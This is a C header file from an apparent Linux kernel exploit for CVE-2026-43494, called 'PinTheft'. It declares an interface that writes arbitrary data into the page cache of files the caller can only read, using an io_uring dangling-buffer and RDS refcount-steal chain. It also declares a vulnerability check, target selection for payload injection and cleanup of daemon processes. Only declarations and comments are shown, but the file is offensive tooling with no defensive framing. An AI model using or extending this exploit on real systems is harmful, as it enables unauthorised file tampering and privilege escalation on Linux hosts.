pintheft_write.h

/*
 * pintheft_write.h -- CVE-2026-43494 PinTheft page-cache write primitive
 *
 * Writes a full PAGE (4096 bytes) to a target file's page cache using
 * io_uring CLONE_BUFFERS dangling bvec + RDS zerocopy refcount steal.
 *
 * Requirements:
 *   - Kernel >= 6.12 (IORING_REGISTER_CLONE_BUFFERS)
 *   - CONFIG_RDS + CONFIG_RDS_TCP (AF_RDS zerocopy for refcount stealing)
 *   - io_uring enabled (kernel.io_uring_disabled=0)
 */

#ifndef PINTHEFT_WRITE_H
#define PINTHEFT_WRITE_H

#include <stdint.h>
#include <stddef.h>
#include <sys/types.h>

/*
 * pintheft_write_page -- Write one page (4096 bytes) to file's page cache.
 *
 * @path:    target file path (must be readable)
 * @offset:  page-aligned file offset (must be multiple of 4096)
 * @data:    payload buffer (up to 4096 bytes; remainder zero-filled)
 * @len:     payload length
 *
 * Returns 0 on success, -1 on failure.
 * Each call performs the full exploit chain (register→clone→steal→free→reclaim→write).
 */
int pintheft_write_page(const char *path, off_t offset,
                        const uint8_t *data, size_t len);

/*
 * pintheft_check -- Verify system supports PinTheft.
 * Returns 0 if OK, -1 if missing kernel features.
 */
int pintheft_check(void);

/*
 * pintheft_set_path -- Set target file for inject_blob integration.
 */
void pintheft_set_path(const char *path);

/*
 * pintheft_cleanup -- Kill any lingering daemon processes.
 */
void pintheft_cleanup(void);

#endif /* PINTHEFT_WRITE_H */